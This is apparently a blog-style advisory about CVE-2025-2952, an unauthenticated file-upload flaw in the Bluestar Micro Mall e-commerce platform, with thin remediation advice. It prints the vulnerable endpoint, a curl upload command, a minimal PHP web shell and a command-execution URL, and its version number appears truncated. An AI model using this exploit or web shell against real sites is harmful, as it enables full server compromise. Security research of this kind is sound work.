In March 2025, security researchers discovered a critical vulnerability—now tracked as CVE-2025-2952—affecting the Bluestar Micro Mall 1. e-commerce platform. If your website uses this software, understanding this security hole is essential. In this article, we’ll explain what this vulnerability is, how it can be exploited (with actual code), and where to find more information.

What is CVE-2025-2952?

CVE-2025-2952 allows attackers to upload any kind of file, including malicious PHP scripts, to a Bluestar Micro Mall 1. site. This means that a hacker can potentially take full control of the site by uploading a web shell or other backdoors—all without authentication.

Vulnerable endpoint:
/api/api.php?mod=upload&type=1
Vulnerable parameter:
File

Impact:
If exploited, this allows an attacker to execute arbitrary code on the server, potentially leading to a full compromise.

How the Exploit Works

The Bluestar Micro Mall’s upload handler at /api/api.php?mod=upload&type=1 does *not* properly check the type or content of uploaded files. It also fails to verify user authentication or filter dangerous file extensions like .php.

1. Attacker sends a POST request to upload a malicious file.

The script saves the file in a web-accessible directory.

2. Attacker accesses the uploaded file via web browser

The uploaded file (like a PHP web shell) is executed by the server, giving the attacker remote command execution.

Let’s say a hacker wants to upload a basic PHP web shell. Here’s how easy it is with curl

curl -X POST 'http://target-site.com/api/api.php?mod=upload&type=1'; \
    -F "File=@shell.php"

shell.php could be as simple as

<?php
if(isset($_GET['cmd'])) {
  system($_GET['cmd']);
}
?>

After uploading, the attacker could run commands like this

http://target-site.com/uploads/shell.php?cmd=whoami

> 🚨 Note: The upload directory path may depend on application configuration. Review logs and file system to locate uploaded files.

Remediation

Important: If you’re running Bluestar Micro Mall 1., your site is at serious risk until you do the following:

Regularly scan your filesystem for unauthorized uploads.

There are currently no official patches reported for Bluestar Micro Mall 1. at the time of writing. Site administrators should contact the vendor or consider alternative solutions.
